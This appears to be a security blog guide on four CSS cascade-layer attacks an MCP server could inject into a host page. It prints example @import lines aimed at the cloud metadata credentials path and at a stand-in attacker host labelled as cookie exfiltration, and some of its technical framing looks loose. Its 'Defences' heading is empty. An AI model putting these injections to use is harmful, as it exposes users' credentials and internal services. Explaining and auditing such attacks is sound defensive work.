Security Guide

MCP server CSS cascade layers security — @import layer SSRF, anonymous @layer injection, revert-layer inheritable leak, @supports+@layer fingerprint

CSS cascade layers (@layer, Chrome 99+, Firefox 97+, Safari 15.4+) add a new cascade tier that sits above origin and below !important. Beyond the well-known specificity-inversion and layer-ordering attacks, four deeper exploits emerge: @import url() layer() fires credential-carrying SSRF requests through the CSS parser; anonymous @layer blocks create permanent unreferenceable cascade tiers that cannot be evicted; revert-layer on inheritable properties bleeds host lower-layer values into MCP-rendered content; and nesting @layer inside @supports enables JS-free browser feature fingerprinting through cascade probing.

How CSS @layer works

The @layer rule establishes named or anonymous cascade layers. Declarations in a later layer win over declarations in an earlier layer regardless of selector specificity. Unlayered styles win over all layered styles. Two forms matter for security: the statement form @layer name; (declares order without rules) and the block form @layer name { rules } (declares order and includes rules). The @import ... layer() form assigns an entire imported stylesheet to a named layer.

Attack 1: @import url() layer() SSRF

The @import url("https://target") layer(attacker) syntax causes the browser to fetch the target URL and assign its stylesheet content to a named cascade layer. The fetch is made with the page's credentials — cookies and HTTP authentication headers — and is not subject to CORS preflighting because CSS fetches use a no-cors mode that silently carries credentials without a preflight. The request does not appear in the JavaScript XHR/Fetch waterfall, making it invisible to monitoring hooks that only intercept XMLHttpRequest and fetch():

/* MCP server injects — fires SSRF with page cookies to internal endpoint */
@import url("http://169.254.169.254/latest/meta-data/iam/security-credentials/") layer(ssrf-probe);

/* Or: exfil to attacker's collection server */
@import url("https://attacker.example/collect?cookie=") layer(exfil);

/* The browser:
   1. Parses the @import rule
   2. Fetches the URL with cookies + auth headers
   3. Assigns whatever CSS (or error) comes back to the named layer
   4. Continues rendering — failure is silent
   The fetch appears in Network > CSS resources, not XHR/Fetch */

This vector reaches: cloud provider metadata endpoints (AWS IMDSv1, GCP metadata, Azure IMDS), internal dashboards not protected by the same-origin policy for CSS loads, localhost services (Electron apps, development servers), and CI/CD artifact servers behind VPNs. The CSP connect-src directive does not restrict CSS @import; only style-src and default-src apply.

Electron apps are at elevated risk. Electron's renderer process runs with file system access and localhost bindings. An MCP server rendered in Electron's webview can use @import url("http://localhost:PORT/") layer(probe) to reach local dev servers, databases with HTTP APIs (CouchDB, Elasticsearch), and REST APIs bound only to loopback.

Attack 2: anonymous @layer permanent cascade injection

Named @layer declarations can be reordered by subsequent @layer name; statements in stylesheets parsed later. Anonymous layers — created by omitting the name in a block form @layer { ... } — cannot be referenced or reordered by any subsequent code. Once an anonymous layer is injected, its position in the cascade is permanent for the lifetime of the document:

/* MCP server stylesheet — injected early via <style> in <head> */
@layer {
  /* This anonymous layer is created at parse time and cannot be:
     - referenced by name in a later @layer statement
     - reordered relative to named layers
     - removed without removing the entire <style> element */
  .auth-button { background: #333 !important; }
  .payment-form { opacity: 0.4 !important; }
}

/* Even if the host app later declares:
   @layer host-security, host-base, host-ui;
   the anonymous layer's position is not affected.
   Its position relative to the named layers
   depends entirely on parse order — and if the MCP server
   stylesheet is injected in <head> before host stylesheets,
   the anonymous layer is always below all host layers,
   but its !important declarations still win. */

The combination of anonymous layer permanence and !important within an anonymous layer creates a cascade tier that beats every host layer declaration. Host attempts to override via additional @layer declarations are ineffective — the anonymous layer cannot be retargeted.

Attack 3: revert-layer inheritable property leak

The revert-layer keyword rolls a property back to the value it would have in the previous cascade layer (the next lower-priority layer that has a declaration for the property). For inheritable properties — color, font-family, font-size, cursor, visibility, pointer-events — this means an MCP-controlled element in a higher layer can adopt the host's layer-specific value for that property by declaring revert-layer, effectively reading and rendering the host's lower-layer value:

/* Scenario: host app uses @layer to set brand colors per environment
   @layer base { color: var(--brand-text, #1a1a2e); }   (lower layer)
   @layer theme { color: var(--env-color, #0f3460); }    (higher layer)
   Host's computed color on its elements encodes which @layer is active. */

/* MCP server, in an even higher layer, uses revert-layer to inherit
   the host's theme-layer color onto its own rendered content: */
@layer mcp-top {
  .mcp-content {
    color: revert-layer;  /* falls to @layer theme's value */
  }
}
/* Now the MCP server's text color matches the host's @layer theme color.
   This is visible: the MCP content automatically inherits whichever
   environment or A/B variant the host is rendering — without the
   MCP server needing to know what the host's CSS variables are. */

More maliciously: if the host uses layer-specific cursor values to indicate interactive state (e.g. cursor: not-allowed in a locked layer vs. cursor: pointer in an enabled layer), an MCP overlay with cursor: revert-layer adopts that cursor, leaking the interactive state of the element beneath it without any JavaScript.

Attack 4: @supports + @layer conditional feature fingerprint

Nesting a @layer block inside @supports creates a conditional cascade layer that exists only if the browser supports the specified feature. An MCP server can probe multiple feature conditions and read the computed values of probe elements to determine which conditional layers were created:

/* MCP server fingerprints browser feature support via conditional layers */
@supports (display: grid) {
  @layer feat-grid {
    .mcp-feat-probe { --has-grid: 1; }
  }
}
@supports (display: masonry) {
  @layer feat-masonry {
    .mcp-feat-probe { --has-masonry: 1; }
  }
}
@supports (anchor-name: --x) {
  @layer feat-anchor {
    .mcp-feat-probe { --has-anchor: 1; }
  }
}

/* JS reads the probe's custom property values — each is set only if
   the @supports condition is true and the layer was created:
   getComputedStyle(probe).getPropertyValue('--has-grid')    // "1" or ""
   getComputedStyle(probe).getPropertyValue('--has-masonry') // "1" or ""
   getComputedStyle(probe).getPropertyValue('--has-anchor')  // "1" or "" */

This is equivalent to running CSS.supports() checks from JavaScript, but routed entirely through the cascade. In environments where JavaScript is sandboxed or where CSS.supports is monkey-patched by a security layer, the @supports + @layer channel provides an alternative path to the same information. The fingerprint vector enumerates browser version and feature tier without touching any JavaScript API that might be monitored.

AttackPrerequisiteWhat it enablesSeverity
@import url() layer() SSRFCSS injection in documentCredentialed fetch to any URL; internal network accessHIGH
Anonymous @layer permanent injectionEarly stylesheet injectionPermanent, unreferenceable cascade tier; host cannot override without removing elementHIGH
revert-layer inheritable property leakMCP element in higher layer than hostLeaks host's layer-specific CSS values into MCP-rendered contentMEDIUM
@supports + @layer feature fingerprintCSS injection + probe element readJS-free browser feature detection evading CSS.supports() monitoringMEDIUM

Defences

SkillAudit findings for this attack surface

HIGH@import url() layer() SSRF: MCP server CSS includes @import url("http://...") with non-origin URLs inside a layer() assignment — credential-carrying SSRF to internal networks
HIGHAnonymous @layer permanent injection: MCP server stylesheet uses anonymous @layer { ... } block form injected early in document head, creating a permanent unreferenceable cascade tier
MEDIUMrevert-layer inheritable leak: MCP-injected element in a higher-priority @layer uses revert-layer on inheritable properties (color, font, cursor) to adopt host's layer-specific values
MEDIUM@supports + @layer feature fingerprint: Conditional @layer blocks inside @supports probed via computed custom property values to enumerate supported browser features without CSS.supports()

Related: CSS @layer basic security covers layer order oracle and revert-layer reset. CSS cascade layers ordering security covers CSSLayerStatementRule.nameList enumeration and unlayered injection defeating layered styles. CSS @import security documents the broader SSRF via @import surface.

← Blog  |  Security Checklist